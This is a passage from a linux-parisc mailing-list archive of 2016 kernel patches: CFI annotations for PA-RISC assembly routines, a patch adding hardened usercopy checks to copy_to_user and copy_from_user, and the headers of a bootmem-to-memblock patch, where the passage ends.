-ENDPROC(ret_from_kernel_thread)
+ENDPROC_CFI(ret_from_kernel_thread)
 
 
 	/*
@@ -790,7 +790,7 @@ ENDPROC(ret_from_kernel_thread)
 	 *	struct task_struct *next)
 	 *
 	 * switch kernel stacks and return prev */
-ENTRY(_switch_to)
+ENTRY_CFI(_switch_to)
 	STREG	 %r2, -RP_OFFSET(%r30)
 
 	callee_save_float
@@ -815,7 +815,7 @@ _switch_to_ret:
 	LDREG	-RP_OFFSET(%r30), %r2
 	bv	%r0(%r2)
 	copy	%r26, %r28
-ENDPROC(_switch_to)
+ENDPROC_CFI(_switch_to)
 
 	/*
 	 * Common rfi return path for interruptions, kernel execve, and
@@ -833,7 +833,7 @@ ENDPROC(_switch_to)
 
 	.align	PAGE_SIZE
 
-ENTRY(syscall_exit_rfi)
+ENTRY_CFI(syscall_exit_rfi)
 	mfctl   %cr30,%r16
 	LDREG	TI_TASK(%r16), %r16	/* thread_info -> task_struct */
 	ldo	TASK_REGS(%r16),%r16
@@ -1037,12 +1037,12 @@ intr_extint:
 
 	b	do_cpu_irq_mask
 	ldo	R%intr_return(%r2), %r2	/* return to intr_return, not here */
-ENDPROC(syscall_exit_rfi)
+ENDPROC_CFI(syscall_exit_rfi)
 
 
 	/* Generic interruptions (illegal insn, unaligned, page fault, etc) */
 
-ENTRY(intr_save)		/* for os_hpmc */
+ENTRY_CFI(intr_save)		/* for os_hpmc */
 	mfsp    %sr7,%r16
 	cmpib,COND(=),n 0,%r16,1f
 	get_stack_use_cr30
@@ -1117,7 +1117,7 @@ skip_save_ior:
 
 	b		handle_interruption
 	ldo		R%intr_check_sig(%r2), %r2
-ENDPROC(intr_save)
+ENDPROC_CFI(intr_save)
 
 
 	/*
@@ -1720,7 +1720,7 @@ dtlb_fault:
 	.endm
 
 	.macro	fork_like name
-ENTRY(sys_\name\()_wrapper)
+ENTRY_CFI(sys_\name\()_wrapper)
 	LDREG	TI_TASK-THREAD_SZ_ALGN-FRAME_SIZE(%r30), %r1
 	ldo	TASK_REGS(%r1),%r1
 	reg_save %r1
@@ -1728,7 +1728,7 @@ ENTRY(sys_\name\()_wrapper)
 	ldil	L%sys_\name, %r31
 	be	R%sys_\name(%sr4,%r31)
 	STREG	%r28, PT_CR27(%r1)
-ENDPROC(sys_\name\()_wrapper)
+ENDPROC_CFI(sys_\name\()_wrapper)
 	.endm
 
 fork_like clone
@@ -1736,7 +1736,7 @@ fork_like fork
 fork_like vfork
 
 	/* Set the return value for the child */
-ENTRY(child_return)
+ENTRY_CFI(child_return)
 	BL	schedule_tail, %r2
 	nop
 finish_child_return:
@@ -1748,9 +1748,9 @@ finish_child_return:
 	reg_restore %r1
 	b	syscall_exit
 	copy	%r0,%r28
-ENDPROC(child_return)
+ENDPROC_CFI(child_return)
 
-ENTRY(sys_rt_sigreturn_wrapper)
+ENTRY_CFI(sys_rt_sigreturn_wrapper)
 	LDREG	TI_TASK-THREAD_SZ_ALGN-FRAME_SIZE(%r30),%r26
 	ldo	TASK_REGS(%r26),%r26	/* get pt regs */
 	/* Don't save regs, we are going to restore them from sigcontext. */
@@ -1778,9 +1778,9 @@ ENTRY(sys_rt_sigreturn_wrapper)
 	 */
 	bv	%r0(%r2)
 	LDREG	PT_GR28(%r1),%r28  /* reload original r28 for syscall_exit */
-ENDPROC(sys_rt_sigreturn_wrapper)
+ENDPROC_CFI(sys_rt_sigreturn_wrapper)
 
-ENTRY(syscall_exit)
+ENTRY_CFI(syscall_exit)
 	/* NOTE: Not all syscalls exit this way.  rt_sigreturn will exit
 	 * via syscall_exit_rfi if the signal was received while the process
 	 * was running.
@@ -1979,7 +1979,7 @@ syscall_do_resched:
 #else
 	nop
 #endif
-ENDPROC(syscall_exit)
+ENDPROC_CFI(syscall_exit)
 
 
 #ifdef CONFIG_FUNCTION_TRACER
@@ -2023,7 +2023,7 @@ ENDPROC(mcount)
 	.align 8
 	.globl return_to_handler
 	.type  return_to_handler, @function
-ENTRY(return_to_handler)
+ENTRY_CFI(return_to_handler)
 	.proc
 	.callinfo caller,frame=FRAME_SIZE
 	.entry
@@ -2067,7 +2067,7 @@ parisc_return_to_handler:
 	LDREGM -FRAME_SIZE(%sp),%r3
 	.exit
 	.procend
-ENDPROC(return_to_handler)
+ENDPROC_CFI(return_to_handler)
 
 #endif /* CONFIG_FUNCTION_GRAPH_TRACER */
 
@@ -2076,7 +2076,7 @@ ENDPROC(return_to_handler)
 #ifdef CONFIG_IRQSTACKS
 /* void call_on_stack(unsigned long param1, void *func,
 		      unsigned long new_stack) */
-ENTRY(call_on_stack)
+ENTRY_CFI(call_on_stack)
 	copy	%sp, %r1
 
 	/* Regarding the HPPA calling conventions for function pointers,
@@ -2112,10 +2112,10 @@ ENTRY(call_on_stack)
 	bv	(%rp)
 	LDREG	-68(%sp), %sp
 # endif /* CONFIG_64BIT */
-ENDPROC(call_on_stack)
+ENDPROC_CFI(call_on_stack)
 #endif /* CONFIG_IRQSTACKS */
 
-get_register:
+ENTRY_CFI(get_register)
 	/*
 	 * get_register is used by the non access tlb miss handlers to
 	 * copy the value of the general register specified in r8 into
@@ -2192,9 +2192,10 @@ get_register:
 	copy    %r30,%r1
 	bv      %r0(%r25)    /* r31 */
 	copy    %r31,%r1
+ENDPROC_CFI(get_register)
 
 
-set_register:
+ENTRY_CFI(set_register)
 	/*
 	 * set_register is used by the non access tlb miss handlers to
 	 * copy the value of r1 into the general register specified in
@@ -2266,4 +2267,5 @@ set_register:
 	copy    %r1,%r30
 	bv      %r0(%r25)    /* r31 */
 	copy    %r1,%r31
+ENDPROC_CFI(set_register)
 
diff --git a/arch/parisc/kernel/hpmc.S b/arch/parisc/kernel/hpmc.S
index 8b87020..0fbd0a0 100644
--- a/arch/parisc/kernel/hpmc.S
+++ b/arch/parisc/kernel/hpmc.S
@@ -83,7 +83,7 @@ END(hpmc_pim_data)
 	.text
 
 	.import intr_save, code
-ENTRY(os_hpmc)
+ENTRY_CFI(os_hpmc)
 .os_hpmc:
 
 	/*
@@ -299,7 +299,7 @@ os_hpmc_6:
 
 	b .
 	nop
-ENDPROC(os_hpmc)
+ENDPROC_CFI(os_hpmc)
 .os_hpmc_end:
 
 
diff --git a/arch/parisc/kernel/pacache.S b/arch/parisc/kernel/pacache.S
index b743a80..b508802 100644
--- a/arch/parisc/kernel/pacache.S
+++ b/arch/parisc/kernel/pacache.S
@@ -41,7 +41,7 @@
 	.text
 	.align	128
 
-ENTRY(flush_tlb_all_local)
+ENTRY_CFI(flush_tlb_all_local)
 	.proc
 	.callinfo NO_CALLS
 	.entry
@@ -190,11 +190,11 @@ fdtdone:
 
 	.exit
 	.procend
-ENDPROC(flush_tlb_all_local)
+ENDPROC_CFI(flush_tlb_all_local)
 
 	.import cache_info,data
 
-ENTRY(flush_instruction_cache_local)
+ENTRY_CFI(flush_instruction_cache_local)
 	.proc
 	.callinfo NO_CALLS
 	.entry
@@ -257,11 +257,11 @@ fisync:
 	.exit
 
 	.procend
-ENDPROC(flush_instruction_cache_local)
+ENDPROC_CFI(flush_instruction_cache_local)
 
 
 	.import cache_info, data
-ENTRY(flush_data_cache_local)
+ENTRY_CFI(flush_data_cache_local)
 	.proc
 	.callinfo NO_CALLS
 	.entry
@@ -325,7 +325,7 @@ fdsync:
 	.exit
 
 	.procend
-ENDPROC(flush_data_cache_local)
+ENDPROC_CFI(flush_data_cache_local)
 
 	.align	16
 
@@ -356,7 +356,7 @@ ENDPROC(flush_data_cache_local)
 
 /* Clear page using kernel mapping.  */
 
-ENTRY(clear_page_asm)
+ENTRY_CFI(clear_page_asm)
 	.proc
 	.callinfo NO_CALLS
 	.entry
@@ -422,11 +422,11 @@ ENTRY(clear_page_asm)
 	.exit
 
 	.procend
-ENDPROC(clear_page_asm)
+ENDPROC_CFI(clear_page_asm)
 
 /* Copy page using kernel mapping.  */
 
-ENTRY(copy_page_asm)
+ENTRY_CFI(copy_page_asm)
 	.proc
 	.callinfo NO_CALLS
 	.entry
@@ -540,7 +540,7 @@ ENTRY(copy_page_asm)
 	.exit
 
 	.procend
-ENDPROC(copy_page_asm)
+ENDPROC_CFI(copy_page_asm)
 
 /*
  * NOTE: Code in clear_user_page has a hard coded dependency on the
@@ -586,7 +586,7 @@ ENDPROC(copy_page_asm)
 	 *
 	 */
 
-ENTRY(copy_user_page_asm)
+ENTRY_CFI(copy_user_page_asm)
 	.proc
 	.callinfo NO_CALLS
 	.entry
@@ -742,9 +742,9 @@ ENTRY(copy_user_page_asm)
 	.exit
 
 	.procend
-ENDPROC(copy_user_page_asm)
+ENDPROC_CFI(copy_user_page_asm)
 
-ENTRY(clear_user_page_asm)
+ENTRY_CFI(clear_user_page_asm)
 	.proc
 	.callinfo NO_CALLS
 	.entry
@@ -828,9 +828,9 @@ ENTRY(clear_user_page_asm)
 	.exit
 
 	.procend
-ENDPROC(clear_user_page_asm)
+ENDPROC_CFI(clear_user_page_asm)
 
-ENTRY(flush_dcache_page_asm)
+ENTRY_CFI(flush_dcache_page_asm)
 	.proc
 	.callinfo NO_CALLS
 	.entry
@@ -904,9 +904,9 @@ ENTRY(flush_dcache_page_asm)
 	.exit
 
 	.procend
-ENDPROC(flush_dcache_page_asm)
+ENDPROC_CFI(flush_dcache_page_asm)
 
-ENTRY(flush_icache_page_asm)
+ENTRY_CFI(flush_icache_page_asm)
 	.proc
 	.callinfo NO_CALLS
 	.entry
@@ -982,9 +982,9 @@ ENTRY(flush_icache_page_asm)
 	.exit
 
 	.procend
-ENDPROC(flush_icache_page_asm)
+ENDPROC_CFI(flush_icache_page_asm)
 
-ENTRY(flush_kernel_dcache_page_asm)
+ENTRY_CFI(flush_kernel_dcache_page_asm)
 	.proc
 	.callinfo NO_CALLS
 	.entry
@@ -1025,9 +1025,9 @@ ENTRY(flush_kernel_dcache_page_asm)
 	.exit
 
 	.procend
-ENDPROC(flush_kernel_dcache_page_asm)
+ENDPROC_CFI(flush_kernel_dcache_page_asm)
 
-ENTRY(purge_kernel_dcache_page_asm)
+ENTRY_CFI(purge_kernel_dcache_page_asm)
 	.proc
 	.callinfo NO_CALLS
 	.entry
@@ -1067,9 +1067,9 @@ ENTRY(purge_kernel_dcache_page_asm)
 	.exit
 
 	.procend
-ENDPROC(purge_kernel_dcache_page_asm)
+ENDPROC_CFI(purge_kernel_dcache_page_asm)
 
-ENTRY(flush_user_dcache_range_asm)
+ENTRY_CFI(flush_user_dcache_range_asm)
 	.proc
 	.callinfo NO_CALLS
 	.entry
@@ -1088,9 +1088,9 @@ ENTRY(flush_user_dcache_range_asm)
 	.exit
 
 	.procend
-ENDPROC(flush_user_dcache_range_asm)
+ENDPROC_CFI(flush_user_dcache_range_asm)
 
-ENTRY(flush_kernel_dcache_range_asm)
+ENTRY_CFI(flush_kernel_dcache_range_asm)
 	.proc
 	.callinfo NO_CALLS
 	.entry
@@ -1110,9 +1110,9 @@ ENTRY(flush_kernel_dcache_range_asm)
 	.exit
 
 	.procend
-ENDPROC(flush_kernel_dcache_range_asm)
+ENDPROC_CFI(flush_kernel_dcache_range_asm)
 
-ENTRY(flush_user_icache_range_asm)
+ENTRY_CFI(flush_user_icache_range_asm)
 	.proc
 	.callinfo NO_CALLS
 	.entry
@@ -1131,9 +1131,9 @@ ENTRY(flush_user_icache_range_asm)
 	.exit
 
 	.procend
-ENDPROC(flush_user_icache_range_asm)
+ENDPROC_CFI(flush_user_icache_range_asm)
 
-ENTRY(flush_kernel_icache_page)
+ENTRY_CFI(flush_kernel_icache_page)
 	.proc
 	.callinfo NO_CALLS
 	.entry
@@ -1174,9 +1174,9 @@ ENTRY(flush_kernel_icache_page)
 	.exit
 
 	.procend
-ENDPROC(flush_kernel_icache_page)
+ENDPROC_CFI(flush_kernel_icache_page)
 
-ENTRY(flush_kernel_icache_range_asm)
+ENTRY_CFI(flush_kernel_icache_range_asm)
 	.proc
 	.callinfo NO_CALLS
 	.entry
@@ -1194,13 +1194,13 @@ ENTRY(flush_kernel_icache_range_asm)
 	nop
 	.exit
 	.procend
-ENDPROC(flush_kernel_icache_range_asm)
+ENDPROC_CFI(flush_kernel_icache_range_asm)
 
 	/* align should cover use of rfi in disable_sr_hashing_asm and
 	 * srdis_done.
 	 */
 	.align	256
-ENTRY(disable_sr_hashing_asm)
+ENTRY_CFI(disable_sr_hashing_asm)
 	.proc
 	.callinfo NO_CALLS
 	.entry
@@ -1289,6 +1289,6 @@ srdis_done:
 	.exit
 
 	.procend
-ENDPROC(disable_sr_hashing_asm)
+ENDPROC_CFI(disable_sr_hashing_asm)
 
 	.end
diff --git a/arch/parisc/kernel/real2.S b/arch/parisc/kernel/real2.S
index 5f3d3a1..1db58e5 100644
--- a/arch/parisc/kernel/real2.S
+++ b/arch/parisc/kernel/real2.S
@@ -61,7 +61,7 @@ save_cr_end:
 	 *	iodc_fn is the IODC function to call
 	 */
 
-ENTRY(real32_call_asm)
+ENTRY_CFI(real32_call_asm)
 	STREG	%rp, -RP_OFFSET(%sp)	/* save RP */
 #ifdef CONFIG_64BIT
 	callee_save
@@ -119,14 +119,14 @@ ric_ret:
 	LDREG	-RP_OFFSET(%sp), %rp	/* restore RP */
 	bv	0(%rp)
 	nop
-ENDPROC(real32_call_asm)
+ENDPROC_CFI(real32_call_asm)
 
 
 #  define PUSH_CR(r, where) mfctl r, %r1 ! STREG,ma %r1, REG_SZ(where)
 #  define POP_CR(r, where) LDREG,mb -REG_SZ(where), %r1 ! mtctl %r1, r
 
 	.text
-save_control_regs:
+ENTRY_CFI(save_control_regs)
 	load32	PA(save_cr_space), %r28
 	PUSH_CR(%cr24, %r28)
 	PUSH_CR(%cr25, %r28)
@@ -139,8 +139,9 @@ save_control_regs:
 	PUSH_CR(%cr15, %r28)
 	bv 0(%r2)
 	nop
+ENDPROC_CFI(save_control_regs)
 
-restore_control_regs:
+ENTRY_CFI(restore_control_regs)
 	load32	PA(save_cr_end), %r26
 	POP_CR(%cr15, %r26)
 	POP_CR(%cr31, %r26)
@@ -153,13 +154,14 @@ restore_control_regs:
 	POP_CR(%cr24, %r26)
 	bv 0(%r2)
 	nop
+ENDPROC_CFI(restore_control_regs)
 
 /* rfi_virt2real() and rfi_real2virt() could perhaps be adapted for
  * more general-purpose use by the several places which need RFIs
  */
 	.text
 	.align 128
-rfi_virt2real:
+ENTRY_CFI(rfi_virt2real)
 	/* switch to real mode... */
 	rsm		PSW_SM_I,%r0
 	load32		PA(rfi_v2r_1), %r1
@@ -191,10 +193,11 @@ rfi_v2r_1:
 	tophys_r1 %r2
 	bv	0(%r2)
 	nop
+ENDPROC_CFI(rfi_virt2real)
 
 	.text
 	.align 128
-rfi_real2virt:
+ENTRY_CFI(rfi_real2virt)
 	rsm		PSW_SM_I,%r0
 	load32		(rfi_r2v_1), %r1
 	nop
@@ -225,6 +228,7 @@ rfi_r2v_1:
 	tovirt_r1 %r2
 	bv	0(%r2)
 	nop
+ENDPROC_CFI(rfi_real2virt)
 
 #ifdef CONFIG_64BIT
 
@@ -238,7 +242,7 @@ rfi_r2v_1:
 	 *	arg0p points to where saved arg values may be found
 	 *	iodc_fn is the IODC function to call
 	 */
-ENTRY(real64_call_asm)
+ENTRY_CFI(real64_call_asm)
 	std	%rp, -0x10(%sp)		/* save RP */
 	std	%sp, -8(%arg0)		/* save SP on real-mode stack */
 	copy	%arg0, %sp		/* adopt the real-mode SP */
@@ -284,7 +288,7 @@ r64_ret:
 	ldd	-0x10(%sp), %rp		/* restore RP */
 	bv	0(%rp)
 	nop
-ENDPROC(real64_call_asm)
+ENDPROC_CFI(real64_call_asm)
 
 #endif
 
@@ -293,12 +297,12 @@ ENDPROC(real64_call_asm)
 	**	GCC 3.3 and later has a new function in libgcc.a for
 	**	comparing function pointers.
 	*/
-ENTRY(__canonicalize_funcptr_for_compare)
+ENTRY_CFI(__canonicalize_funcptr_for_compare)
 #ifdef CONFIG_64BIT
 	bve (%r2)
 #else
 	bv %r0(%r2)
 #endif
 	copy %r26,%r28
-ENDPROC(__canonicalize_funcptr_for_compare)
+ENDPROC_CFI(__canonicalize_funcptr_for_compare)
 
diff --git a/arch/parisc/lib/fixup.S b/arch/parisc/lib/fixup.S
index 1052b74..a5b72f2 100644
--- a/arch/parisc/lib/fixup.S
+++ b/arch/parisc/lib/fixup.S
@@ -65,34 +65,34 @@
 	.section .fixup, "ax"
 
 	/* get_user() fixups, store -EFAULT in r8, and 0 in r9 */
-ENTRY(fixup_get_user_skip_1)
+ENTRY_CFI(fixup_get_user_skip_1)
 	get_fault_ip %r1,%r8
 	ldo 4(%r1), %r1
 	ldi -EFAULT, %r8
 	bv %r0(%r1)
 	copy %r0, %r9
-ENDPROC(fixup_get_user_skip_1)
+ENDPROC_CFI(fixup_get_user_skip_1)
 
-ENTRY(fixup_get_user_skip_2)
+ENTRY_CFI(fixup_get_user_skip_2)
 	get_fault_ip %r1,%r8
 	ldo 8(%r1), %r1
 	ldi -EFAULT, %r8
 	bv %r0(%r1)
 	copy %r0, %r9
-ENDPROC(fixup_get_user_skip_2)
+ENDPROC_CFI(fixup_get_user_skip_2)
 
 	/* put_user() fixups, store -EFAULT in r8 */
-ENTRY(fixup_put_user_skip_1)
+ENTRY_CFI(fixup_put_user_skip_1)
 	get_fault_ip %r1,%r8
 	ldo 4(%r1), %r1
 	bv %r0(%r1)
 	ldi -EFAULT, %r8
-ENDPROC(fixup_put_user_skip_1)
+ENDPROC_CFI(fixup_put_user_skip_1)
 
-ENTRY(fixup_put_user_skip_2)
+ENTRY_CFI(fixup_put_user_skip_2)
 	get_fault_ip %r1,%r8
 	ldo 8(%r1), %r1
 	bv %r0(%r1)
 	ldi -EFAULT, %r8
-ENDPROC(fixup_put_user_skip_2)
+ENDPROC_CFI(fixup_put_user_skip_2)
 
diff --git a/arch/parisc/lib/lusercopy.S b/arch/parisc/lib/lusercopy.S
index a512f07..56845de 100644
--- a/arch/parisc/lib/lusercopy.S
+++ b/arch/parisc/lib/lusercopy.S
@@ -67,7 +67,7 @@
 	 * otherwise, returns number of bytes not transferred.
 	 */
 
-ENTRY(lclear_user)
+ENTRY_CFI(lclear_user)
 	.proc
 	.callinfo NO_CALLS
 	.entry
@@ -81,7 +81,7 @@ $lclu_done:
 	bv          %r0(%r2)
 	copy        %r25,%r28
 	.exit
-ENDPROC(lclear_user)
+ENDPROC_CFI(lclear_user)
 
 	.section .fixup,"ax"
 2:      fixup_branch $lclu_done
@@ -100,7 +100,7 @@ ENDPROC(lclear_user)
 	 *         else strlen + 1 (i.e. includes zero byte).
 	 */
 
-ENTRY(lstrnlen_user)
+ENTRY_CFI(lstrnlen_user)
 	.proc
 	.callinfo NO_CALLS
 	.entry
@@ -120,7 +120,7 @@ $lslen_done:
 $lslen_nzero:
 	b           $lslen_done
 	ldo         1(%r26),%r26 /* special case for N == 0 */
-ENDPROC(lstrnlen_user)
+ENDPROC_CFI(lstrnlen_user)
 
 	.section .fixup,"ax"
 3:      fixup_branch $lslen_done
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Add hardened usercopy feature
Date: Thu, 6 Oct 2016 09:07:30 +0200
Lines: 142
Approved: news@gmane.org
Message-ID: <20161006070730.GA24780@ls3530.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1475737686 16630 195.159.176.226 (6 Oct 2016 07:08:06 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 6 Oct 2016 07:08:06 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 06 09:08:01 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bs2mN-0001aR-1y
	for glpp-linux-parisc@m.gmane.org; Thu, 06 Oct 2016 09:07:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752961AbcJFHHo (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Thu, 6 Oct 2016 03:07:44 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:54445 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752885AbcJFHHn (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Thu, 6 Oct 2016 03:07:43 -0400
Original-Received: from ls3530.box ([92.203.45.129]) by mail.gmx.com (mrgmx003) with
 ESMTPSA (Nemesis) id 0LkgAG-1bHc5x2b8G-00aYlI; Thu, 06 Oct 2016 09:07:33
 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:cnhD4uvzaoUykQrmF+8bWbdlibf2jevsCMv6PS2X442SYasjGj7
 0xhZefedgG9gDjVtZwBN9AfSDZAaCNZUq0cS+RIRDsNUaNrn4Kw4l4/r1JyhlKiA8YxkMdn
 jtDW48Y3/HuP7ubQYW1rfYO0+GUTH1qQoSK+OrmuakgCssNSZGOxaaGpZKAYoApi3AfuaNM
 ytzD5THOhwMuRWyfJl0sA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:iznhqIXNT4Q=:LXHFcuoy04LFg454Yt8NFG
 VpTExzcYp5PcbQV7B5sknHNZQl4Zs9AVpzmGX2UKWfz9IypxMqAWY2HXpaZFmIRlScPRcam+5
 Q8UBS8Zjlo9LV+d11xO0KR9OPYOk0viMNzOOycOIDKBRY4C9upmH5TlK5dnTAOg4igxNuPREh
 WJMHEihcw3y+f4OqROfzHcyx9E9vIviUdP6szYsPRGQHcJ0nenFp/gnTxDNgWpxgjcA1J8hfC
 m8rNDLoPr7sBR7CrOYQHcMHYNPLChgfI4cYwF3ASyIgIWta27pKlk/0AfxpPz60n4jCh/kELP
 iTmuctiV6tmtl+0qe2GKE+9ugcShOeLQhWLuoL1IxxDI42jxYb3DG+e8ijOfTV7jiFSuHH8Uz
 J8jVW//kN5D9NOSpHOy8tZ/N4hgZ343Un7bLofFfqFw8cyL62wSSwQRY1Ek0IgkcCCUiGzYOx
 xHGRCxnrVe7taDA5NHQgfG5kIANEKazMnGvFK10zP2iSZMRFGNjWcs1AbIAzL6T95kfU7x1Vj
 59z9ixTqXzzgY8rnxsEPPZtv1pDIlPcH7FBfebqWbtiyI9TifyW0Uifp3kbNXDTUShfC4Veoq
 gaPn9GYPFeKzwE+1u/jdskotk7WlGP9JpjDi3FA9dNuvU+/AZK3ws3lgcafseHWOl1aXMi6Fv
 TYLmDwqjATknigUb9X249i9m+ATIUJk2E7wSlj0vID5nWkHNhUZnzaN97Ya2lLjus/6fZgaYj
 Y1cR3ARz1tQKfQBuqU5ssKOzjgm9pZEYmsf0I7Fc7lFAcVh7mTqhjyyIhEc=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26974
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26974>

Add hardened usercopy checks to parisc architecture and clean up
indenting.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index af12c2d..393c730 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -24,6 +24,7 @@ config PARISC
 	select SYSCTL_ARCH_UNALIGN_ALLOW
 	select SYSCTL_EXCEPTION_TRACE
 	select HAVE_MOD_ARCH_SPECIFIC
+	select HAVE_ARCH_HARDENED_USERCOPY
 	select VIRT_TO_BUS
 	select MODULES_USE_ELF_RELA
 	select CLONE_BACKWARDS
diff --git a/arch/parisc/include/asm/uaccess.h b/arch/parisc/include/asm/uaccess.h
index 4828478..9a2aee1 100644
--- a/arch/parisc/include/asm/uaccess.h
+++ b/arch/parisc/include/asm/uaccess.h
@@ -11,6 +11,7 @@
 
 #include <linux/bug.h>
 #include <linux/string.h>
+#include <linux/thread_info.h>
 
 #define VERIFY_READ 0
 #define VERIFY_WRITE 1
@@ -201,10 +202,12 @@ extern long lstrnlen_user(const char __user *, long);
 #define clear_user lclear_user
 #define __clear_user lclear_user
 
-unsigned long copy_to_user(void __user *dst, const void *src, unsigned long len);
-#define __copy_to_user copy_to_user
-unsigned long __copy_from_user(void *dst, const void __user *src, unsigned long len);
-unsigned long copy_in_user(void __user *dst, const void __user *src, unsigned long len);
+unsigned long __must_check __copy_to_user(void __user *dst, const void *src,
+					  unsigned long len);
+unsigned long __must_check __copy_from_user(void *dst, const void __user *src,
+					  unsigned long len);
+unsigned long copy_in_user(void __user *dst, const void __user *src,
+			   unsigned long len);
 #define __copy_in_user copy_in_user
 #define __copy_to_user_inatomic __copy_to_user
 #define __copy_from_user_inatomic __copy_from_user
@@ -217,23 +220,40 @@ static inline void copy_user_overflow(int size, unsigned long count)
 	WARN(1, "Buffer overflow detected (%d < %lu)!\n", size, count);
 }
 
-static inline unsigned long __must_check copy_from_user(void *to,
-                                          const void __user *from,
-                                          unsigned long n)
+static __always_inline unsigned long __must_check
+copy_from_user(void *to, const void __user *from, unsigned long n)
 {
-        int sz = __compiletime_object_size(to);
-        unsigned long ret = n;
+	int sz = __compiletime_object_size(to);
+	unsigned long ret = n;
 
-        if (likely(sz == -1 || sz >= n))
-                ret = __copy_from_user(to, from, n);
-        else if (!__builtin_constant_p(n))
+	if (likely(sz < 0 || sz >= n)) {
+		check_object_size(to, n, false);
+		ret = __copy_from_user(to, from, n);
+	} else if (!__builtin_constant_p(n))
 		copy_user_overflow(sz, n);
 	else
-                __bad_copy_user();
+		__bad_copy_user();
 
 	if (unlikely(ret))
 		memset(to + (n - ret), 0, ret);
-        return ret;
+
+	return ret;
+}
+
+static __always_inline unsigned long __must_check
+copy_to_user(void __user *to, const void *from, unsigned long n)
+{
+	int sz = __compiletime_object_size(from);
+
+	if (likely(sz < 0 || sz >= n)) {
+		check_object_size(from, n, true);
+		n = __copy_to_user(to, from, n);
+	} else if (!__builtin_constant_p(n))
+		copy_user_overflow(sz, n);
+	else
+		__bad_copy_user();
+
+	return n;
 }
 
 struct pt_regs;
diff --git a/arch/parisc/lib/memcpy.c b/arch/parisc/lib/memcpy.c
index b2b441b..f82ff10 100644
--- a/arch/parisc/lib/memcpy.c
+++ b/arch/parisc/lib/memcpy.c
@@ -489,20 +489,23 @@ static unsigned long pa_memcpy(void *dstp, const void *srcp, unsigned long len)
 }
 
 #ifdef __KERNEL__
-unsigned long copy_to_user(void __user *dst, const void *src, unsigned long len)
+unsigned long __copy_to_user(void __user *dst, const void *src,
+			     unsigned long len)
 {
 	mtsp(get_kernel_space(), 1);
 	mtsp(get_user_space(), 2);
 	return pa_memcpy((void __force *)dst, src, len);
 }
+EXPORT_SYMBOL(__copy_to_user);
 
-EXPORT_SYMBOL(__copy_from_user);
-unsigned long __copy_from_user(void *dst, const void __user *src, unsigned long len)
+unsigned long __copy_from_user(void *dst, const void __user *src,
+			       unsigned long len)
 {
 	mtsp(get_user_space(), 1);
 	mtsp(get_kernel_space(), 2);
 	return pa_memcpy(dst, (void __force *)src, len);
 }
+EXPORT_SYMBOL(__copy_from_user);
 
 unsigned long copy_in_user(void __user *dst, const void __user *src, unsigned long len)
 {
@@ -520,8 +523,6 @@ void * memcpy(void * dst,const void *src, size_t count)
 	return dst;
 }
 
-EXPORT_SYMBOL(copy_to_user);
-EXPORT_SYMBOL(copy_from_user);
 EXPORT_SYMBOL(copy_in_user);
 EXPORT_SYMBOL(memcpy);
 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Drop bootmem and switch to memblock
Date: Fri, 7 Oct 2016 16:50:21 +0200
Lines: 276
Approved: news@gmane.org
Message-ID: <20161007145021.GA8317@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1475851846 24378 195.159.176.226 (7 Oct 2016 14:50:46 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 7 Oct 2016 14:50:46 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 07 16:50:39 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
